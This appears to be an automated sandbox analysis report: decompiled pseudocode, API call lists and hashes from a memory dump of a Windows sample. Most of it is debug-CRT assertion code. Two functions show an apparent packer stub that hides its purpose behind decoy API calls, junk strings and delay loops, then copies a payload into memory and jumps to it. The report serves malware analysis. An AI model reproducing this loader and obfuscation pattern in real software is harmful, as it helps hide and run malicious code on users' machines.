						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041DC40(E0042D970(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041D6D0(L00437600(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041DC40(E0041D7C0(_t243, _t307 - 0x1020, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L0041DFA0(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x54b818;
						 *(_t307 - 0x704c) =  *0x54b818;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x54b814;
							 *(_t307 - 0x7048) =  *0x54b814;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042CEDA();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x54b810 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x54b810( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x441070 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x441070 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x441070 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042D940(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x441070 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041D6D0(L00437600(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t267 * 4);
											WriteFile( *(0x441070 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042D940(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t269 * 4);
											WriteFile( *(0x441070 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041DC40(E00438030( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041E070(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041DC40(E00438030(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042C030(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042D167();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E0042BAA0(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042c96f
0x0042ca1c
0x0042ca29
0x0042ca34
0x0042ca3a
0x0042ca53
0x0042ca58
0x0042ca5b
0x0042ca68
0x0042ca8c
0x0042ca91
0x0042ca91
0x0042ca9f
0x0042caa8
0x0042cada
0x0042cadf
0x0042cadf
0x0042caa8
0x0042cae6
0x0042caec
0x0042cafa
0x0042caee
0x0042caee
0x0042caee
0x0042cb36
0x0042cb3b
0x0042cb3b
0x0042cb60
0x0042cb70
0x0042cb75
0x0042cb7c
0x0042cb8b
0x0042cbad
0x0042cbbd
0x0042cbc2
0x0042cbc2
0x0042cbf5
0x0042cbfa
0x0042cbfa
0x0042cc01
0x0042cd11
0x0042cd16
0x0042cc07
0x0042cc07
0x0042cc18
0x0042cc23
0x0042cc2f
0x0042cc33
0x0042cc47
0x0042cc4e
0x0042cc53
0x0042cc56
0x0042cc63
0x0042cc87
0x0042cc8c
0x0042cc8c
0x0042cc8f
0x0042cc94
0x0042cc9a
0x0042cca3
0x0042ccd5
0x0042ccda
0x0042ccda
0x0042ccdd
0x0042cd19
0x0042cd3f
0x0042cd5d
0x0042cd62
0x0042cd65
0x0042cd72
0x0042cda4
0x0042cda9
0x0042cda9
0x0042cdb3
0x0042cdc2
0x0042cdcc
0x0042cdd8
0x0042cddd
0x0042cde0
0x0042cde7
0x0042cded
0x0042ce04
0x0042ce0d
0x0042ce29
0x0042ce32
0x0042ce34
0x0042ce39
0x0042cdfe
0x00000000
0x0042ce3b
0x0042ce41
0x0042ce47
0x0042ce47
0x00000000
0x0042ce39
0x0042ce5c
0x0042ce5e
0x0042ce64
0x0042ce7b
0x0042ce84
0x0042cea0
0x0042cea9
0x0042ceab
0x0042ceb0
0x0042ce75
0x00000000
0x0042ceb2
0x0042ceb8
0x0042cebe
0x0042cebe
0x00000000
0x0042ceb0
0x0042ce7b
0x0042cecc
0x0042cecc
0x0042ced3
0x0042ced3
0x0042ceec
0x0042cef9
0x0042cefb
0x0042cf05
0x0042cf17
0x0042cf1d
0x0042cf22
0x0042cf24
0x0042cf2a
0x0042cf30
0x0042cf30
0x0042cf22
0x0042cf41
0x0042cf54
0x0042cf5a
0x0042cf65
0x0042cf6b
0x0042cf6e
0x0042cf7c
0x0042cf89
0x0042cf9d
0x0042cfa2
0x0042cfad
0x0042cfc0
0x0042cfd0
0x00000000
0x00000000
0x0042cfd2
0x00000000
0x0042cfc2
0x0042cf8b
0x0042cfd7
0x0042cfd7
0x0042d020
0x0042d025
0x0042d028
0x0042d035
0x0042d07c
0x0042d087
0x0042d087
0x0042d0a4
0x0042d0a7
0x0042d0af
0x0042d040
0x0042d050
0x0042d055
0x0042d062
0x0042d065
0x0042d06d
0x0042d06d
0x0042d035
0x0042cf89
0x0042cf65
0x0042d0c2
0x0042d0c4
0x0042d0cb
0x0042d0cb
0x0042d0de
0x0042d0e2
0x0042d0ed
0x0042d120
0x0042d125
0x0042d125
0x0042d138
0x0042d13a
0x0042d153
0x0042d153
0x0042d0de
0x0042cf41
0x0042c975
0x0042c9a6
0x0042c9b3
0x0042c9bd
0x0042c9ca
0x0042c9bf
0x0042c9bf
0x0042c9c2
0x0042c9c2
0x0042c9db
0x0042c9e6
0x0042c9ec
0x0042c9f3
0x0042c9fe
0x0042ca04
0x0042ca09
0x0042ca09
0x0042d159
0x0042d160
0x0042d179
0x0042d182
0x0042d18a
0x0042d18b
0x0042d18c
0x0042d19a

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C967
__invoke_watson_if_error.LIBCMTD ref: 0042C9A6
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C9B3
OutputDebugStringW.KERNEL32(00406790), ref: 0042C9DB
OutputDebugStringW.KERNEL32(, Line ), ref: 0042C9E6
OutputDebugStringW.KERNEL32(?), ref: 0042C9F3
OutputDebugStringW.KERNEL32(0040677C), ref: 0042C9FE
_wcscat_s.LIBCMTD ref: 0042CBB4

Part of subcall function 00437630: __invalid_parameter.LIBCMTD ref: 004376A2

__invoke_watson_if_error.LIBCMTD ref: 0042CBBD

Part of subcall function 0041DC40: __invoke_watson.LIBCMTD ref: 0041DC61

_wcscat_s.LIBCMTD ref: 0042CBEC

Part of subcall function 00437630: _memset.LIBCMT ref: 0043770F
Part of subcall function 00437630: __invalid_parameter.LIBCMTD ref: 0043776B

__invoke_watson_if_error.LIBCMTD ref: 0042CBF5
__snwprintf_s.LIBCMTD ref: 0042CC4E

Part of subcall function 0042D780: __vsnwprintf_s_l.LIBCMTD ref: 0042D7A2

__invoke_watson_if_oneof.LIBCMTD ref: 0042CC87
_wcscpy_s.LIBCMTD ref: 0042CCCC
__invoke_watson_if_error.LIBCMTD ref: 0042CCD5
__invoke_watson_if_oneof.LIBCMTD ref: 0042CD5D
_wcscpy_s.LIBCMTD ref: 0042CD9B
__invoke_watson_if_error.LIBCMTD ref: 0042CDA4
__itow_s.LIBCMTD ref: 0042C99D

Part of subcall function 00438030: _xtow_s@20.LIBCMTD ref: 0043805B

__strftime_l.LIBCMTD ref: 0042CA53
__invoke_watson_if_oneof.LIBCMTD ref: 0042CA8C
_wcscpy_s.LIBCMTD ref: 0042CAD1
__invoke_watson_if_error.LIBCMTD ref: 0042CADA
_wcscpy_s.LIBCMTD ref: 0042CB2D
__invoke_watson_if_error.LIBCMTD ref: 0042CB36
_wcscat_s.LIBCMTD ref: 0042CB67
__invoke_watson_if_error.LIBCMTD ref: 0042CB70

Strings

wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042CBD6
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CCB6
Assertion failed: , xrefs: 0042CAEE
(*_errno()), xrefs: 0042CA7B, 0042CC76
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042CB9E
_VCrtDbgReportW, xrefs: 0042C981, 0042CA76, 0042CAB6, 0042CB10, 0042CB4A, 0042CB99, 0042CBD1, 0042CC71, 0042CCB1, 0042CD2F, 0042CD80, 0042CFED, 0042D0FB
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C97C, 0042CA71, 0042CAB1, 0042CB0B, 0042CB45, 0042CB94, 0042CBCC, 0042CC6C, 0042CCAC, 0042CD2A, 0042CD7B, 0042CFE8, 0042D0F6
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042CB4F
<file unknown>, xrefs: 0042C9CA
_CrtDbgReport: String too long or IO Error, xrefs: 0042CAC0, 0042CCBB
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042CD34
Second Chance Assertion Failed: File , xrefs: 0042C9AE
, Line , xrefs: 0042C9E1
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C986, 0042D100
%s(%d) : %s, xrefs: 0042CC38
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CABB
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042CD85
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042CB15
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042CFF2
P, xrefs: 0042D037
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042CD8A
Assertion failed!, xrefs: 0042CAFA

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 2252013794-3875623755
Opcode ID: bb75c327dc63cc1833e16df925b68670956d3ccda89680fe518e4efd1165374f
Instruction ID: 484fe5cd05ab6169c2e7765862329970c48a5d077ac0ee904cef3069207753dc
Opcode Fuzzy Hash: bb75c327dc63cc1833e16df925b68670956d3ccda89680fe518e4efd1165374f
Instruction Fuzzy Hash: E112A4B1E40324ABEB24EF50EC46BDA7374AB04744F5081AAF509762C1D7BC6A94CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419905, Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 110
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419905() {
				signed int _v8;
				short _v2140;
				char _v3164;
				char _v5220;
				struct _COORD _v5224;
				struct _STARTUPINFOW _v5300;
				union _ULARGE_INTEGER _v5308;
				union _ULARGE_INTEGER _v5316;
				short _v7364;
				union _ULARGE_INTEGER _v7372;
				char _v7660;
				signed int _v7664;
				void _v7696;
				signed int _v7700;

				E0041A740(0x1e50);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x54abf4 == 0x16) {
						GetConsoleCursorInfo(0, 0);
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v3164, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringW(L"jikatopoxolumuho", L"nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb", L"zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus",  &_v2140, 0);
					}
					GetLastError();
					if( *0x54abf4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v5220, 0);
						GetWindowsDirectoryW( &_v7364, 0);
						__imp__GetCPInfoExA(0, 0,  &_v7660);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v5308,  &_v5316,  &_v7372);
						GetStartupInfoW( &_v5300);
						ReadConsoleOutputCharacterW(0, 0, 0, _v5224, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L0041962B( *0x443950,  *0x54abf4, 0x440010);
				_v7664 = _v7664 & 0x00000000;
				while(_v7664 < 0x3e79e) {
					if( *0x54abf4 == 0x10) {
						GlobalUnWire( &_v7696);
					}
					if(_v7664 == 0x1e673) {
						 *0x443950 =  *0x443950 + 0x3b24;
					}
					_v7664 = _v7664 + 1;
				}
				_v7700 = _v7700 & 0x00000000;
				while(_v7700 < 0xdd9a7) {
					if( *0x54abf4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeap();
						WritePrivateProfileStringW(0, 0, 0, 0);
						SetPriorityClass(0, 0);
					}
					_v7700 = _v7700 + 1;
				}
				goto ( *0x443950);
			}

0x0041990d
0x00419912
0x0041991f
0x0041992e
0x0041993b
0x00419941
0x0041995f
0x00419969
0x00419987
0x00419987
0x0041998d
0x0041999d
0x004199a8
0x004199b7
0x004199c8
0x004199e8
0x004199f5
0x00419a09
0x00419a09
0x00419a16
0x0041991c
0x00000000
0x00419a18
0x00000000
0x00419a18
0x00419a16
0x00419a30
0x00419a35
0x00419a4b
0x00419a5e
0x00419a67
0x00419a67
0x00419a77
0x00419a79
0x00419a79
0x00419a45
0x00419a45
0x00419a85
0x00419a9b
0x00419ab1
0x00419ab3
0x00419ab9
0x00419ac7
0x00419ad1
0x00419ad1
0x00419a95
0x00419a95
0x00419ad9

APIs

SetLastError.KERNEL32(00000000), ref: 0041992E
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419941
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 0041995F
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419969
GetProfileStringW.KERNEL32(jikatopoxolumuho,nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb,zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 0041998D
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 004199A8
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 004199B7
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 004199C8
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 004199E8
GetStartupInfoW.KERNEL32(?), ref: 004199F5
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419A09
GlobalUnWire.KERNEL32(?), ref: 00419A67
GetProcessHeap.KERNEL32 ref: 00419AB3
GetProcessHeap.KERNEL32 ref: 00419AB9
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419AC7
SetPriorityClass.KERNEL32(00000000,00000000), ref: 00419AD1

Strings

u7, xrefs: 00419A0F
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419950
jikatopoxolumuho, xrefs: 00419982
nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb, xrefs: 0041997D
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419955
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 004199E3
zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus, xrefs: 00419978
wegazevevemitohokababawijufapiyodewemu, xrefs: 0041995A

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorHeapLastProcessWrite$CharacterClassCursorDiskFreeGlobalOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$jikatopoxolumuho$nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus$u7
API String ID: 191012449-1827300862
Opcode ID: c1d832742739aac06bb72368c38c48c5ec71829cbfb239b1e7a3317e69843f9f
Instruction ID: 82c17a8559766b7104ff1518028c4c43d4c8bc2061edee5fb0b2e372d3b58b86
Opcode Fuzzy Hash: c1d832742739aac06bb72368c38c48c5ec71829cbfb239b1e7a3317e69843f9f
Instruction Fuzzy Hash: 5E415F35940298EBEB209B90DD19FD977B9FB04746F1000A7F206B54E0C7B85EC88F1A

Uniqueness

Uniqueness Score: -1.00%

Function 004196BC, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004196BC(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				void _v1284;
				char _v3332;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x54abf4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					CallNamedPipeA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					GetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameW(0,  &_v3332, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeA("yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v1284, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x54abf8; // 0x3f6faa
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x443950 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x004196cf
0x004196d8
0x004196de
0x004196df
0x004196e0
0x004196e1
0x004196ef
0x004196fd
0x0041970a
0x00419713
0x0041971a
0x00419722
0x00419729
0x0041972a
0x0041972b
0x0041972c
0x00419730
0x00419737
0x00419738
0x00419739
0x0041973a
0x0041974b
0x00419757
0x0041975f
0x00419766
0x0041976f
0x0041977e
0x00419786
0x0041978e
0x00419795
0x004197a0
0x004197ba
0x004197c0
0x004197c1
0x004197c4
0x004197c9
0x004197d1
0x004197d4
0x004197e3
0x004197e8

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 004196EF
CreateMailslotA.KERNEL32 ref: 004196FD
CallNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041970A
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419713
FindAtomA.KERNEL32 ref: 0041971A
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 0041974B
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419757
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041975F
TlsGetValue.KERNEL32(00000000), ref: 00419766
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 0041976F
GetLongPathNameW.KERNEL32(00000000,?,00000000), ref: 0041977E
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00419786
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 0041978E
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419795
GetDriveTypeA.KERNEL32(yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas), ref: 004197A0
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 004197BA

Strings

lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 004196EA
kinekecusaz, xrefs: 004196F8
yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas, xrefs: 0041979B
Hay sexulilef, xrefs: 00419751
gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 004197B5

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCallCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix$yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas
API String ID: 118337534-3095731778
Opcode ID: 09ed30b492f97a830ad82e8e25b5002e705cd0b55e82cb27f6da18c5fdb189e4
